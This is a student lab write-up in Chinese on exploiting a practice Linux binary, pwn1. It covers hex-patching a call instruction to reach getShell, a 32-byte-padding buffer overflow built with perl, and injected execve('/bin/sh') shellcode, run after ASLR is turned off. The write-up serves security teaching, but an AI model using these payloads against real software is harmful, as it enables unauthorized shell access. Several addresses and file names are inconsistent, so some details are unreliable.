2019-2020-2 网络对抗技术 20175330 Exp1 PC平台逆向破解

2019-2020-2 网络对抗技术 20175330 Exp1 PC平台逆向破解

目录

一、实验要求

实验对象为linux可执行文件pwn1。文件pwn1包含的函数如下:

  • main函数:开始调用foo函数
  • foo函数:回显任何用户输入的字符串
  • getShell函数:返回一个可用Shell

三个实验要求如下:

  • 手工修改机器指令,改变程序执行流程,使得pwm1代码运行调用函数跳转到getShell。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode,修改返回地址运行getShell函数。

二、实验过程

在gitee里下载pwn1.zip压缩包,并移动到共享文件夹kali-share-20175330中。

1.在终端中 输入objdump -d pwn1 | more对pwn1文件进行反汇编。

 2.输入/getShell查找getShell函数、foo函数、main函数。

3.查看指令内存地址

  • call指令的内存地址位于080484b5,其功能是用来调用位于08048491地址处的foo函数。
  • call 指令的机器码为e8 d7 ff ff ff,其中call指令对应e8,那么相应转跳的地址则是d7 ff ff ff
  • 通过对getShell地址计算得到需要修改目的地址为e8c3ffffff。

4.输入vi pwn1打开文件,发现是文件以ASCII码的形式出现

 5.输入命令:%!xxd转化为16进制表示

 6.在文末输入/d7ff查找foo函数地址

 7.输入i进入编辑模式,将d7修改为c3

 8.输入命令:%!xxd -r重新转化为ASCII码形式,:wq保存并退出。重新查看pwn1文件看是否修改成功。

 9.对文件进行测试分别运行pwn1pwn2两个文件(pwn1是修改后的文件,pwn2是pwn1的备份),结果显示不同。其中pwn1显示的功能功能是返回一个可用shell,证明调用了getShell函数,pwn0显示的功能为显示用户输入的内容,证明调用的为foo函数。

 任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序

1.安装GDB,输入sudo  su 获取root权限,输入apt-get update,再输入apt-get install gdb

 2.通过老师上课视频知道foo函数指令有Buffer overflow漏洞,在栈结构上可以发现EIP和EBP各占4字节,缓冲区占28字节。如果填充36字节,其中的33-36字节将覆盖EIP中的返回地址,造成缓冲区溢出攻击。

 

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
lea -0x1c(%ebp)代表储存数据的地址向下移动了0x1c的空间即28字节 804849a:
89 04 24 mov %eax,(%esp) 804849d: e8 8e fe ff ff call 8048330 <gets@plt>
这里读入字符串,但系统只预留了_28_字节的缓冲区,超出部分会造成溢出
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave  
 80484ae:       c3                      ret    

080484af <main>:
 80484af:       55                      push   %ebp
 80484b0:       89 e5                   mov    %esp,%ebp
 80484b2:       83 e4 f0                and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo

3.输入gdb pwn0对pwn0文件进行调试,输入r运行调试,调试时输入1111111122222222333333334444444412345678

4.输入info r命令查看寄存器的值,EIP寄存器此时的值为0x34333231,是1234对应的ASCII码。

5.我们需要将EIP中的内容填入getShell的地址,输入的字符串为11111111222222223333333344444444\x7d\x84\x04\x08\x0a

输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,使用输出重定向>将perl生成的字符串存储到文件input中。

输入(cat input; cat) | ./pwn0,能够发现此时返回地址已经被getShell的地址覆盖,开始执行getShell指令。

 任务三 注入shellcode并执行

1.输入 cp pwn1 pwn 3将pwn1.bak还原并命名为pwn3

2.输入 sudo apt-get install execstack下载execstack

3.设置堆栈

  • 输入execstack -s pwn3 设置堆栈可执行
  • 输入execstack -q pwn3 查询文件的堆栈是否可执行,结果为X表示可执行
  • 输入more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭,结果为2表示打开
  • 输入echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
  • 输入more /proc/sys/kernel/randomize_va_space 再次查看,结果为0证明已关闭

4.参考学长的博客shellcode构造可知本次实验的shellcode

输入perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode构造shellcode,并将shellcode保存到input_shellcode

5.打开两个终端,在第一个终端中输入(cat input_shellcode;cat) | ./pwn3运行pwn3,在第二个终端中输入ps -ef | grep pwn3查看pwn3的进程号为2170

6.接下来通过gdb命令开始调试,输入attach 2170连接到pwn3进程,连接后输入disassemble foo对foo函数进行反汇编查看foo函数return指令的地址为0x080448ae,然后输入break *0x080484ae再此处设置断点

7.在终端a中回车,程序会执行到断点处,在b终端输入c在断点处继续运行,此时输入info r esp查看esp寄存器的值为0xffffd21c
输入x/16x 0xffffd21c以16进制形式查看0xffffd21c地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode注入地址为0xffffd21c+0x00000004=0xffffd220

8.将注入地址修改为perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,并输入(cat input_shellcode;cat) | ./pwn3运行pwn3。

猜你喜欢

转载自www.cnblogs.com/waaaaa/p/12424381.html
今日推荐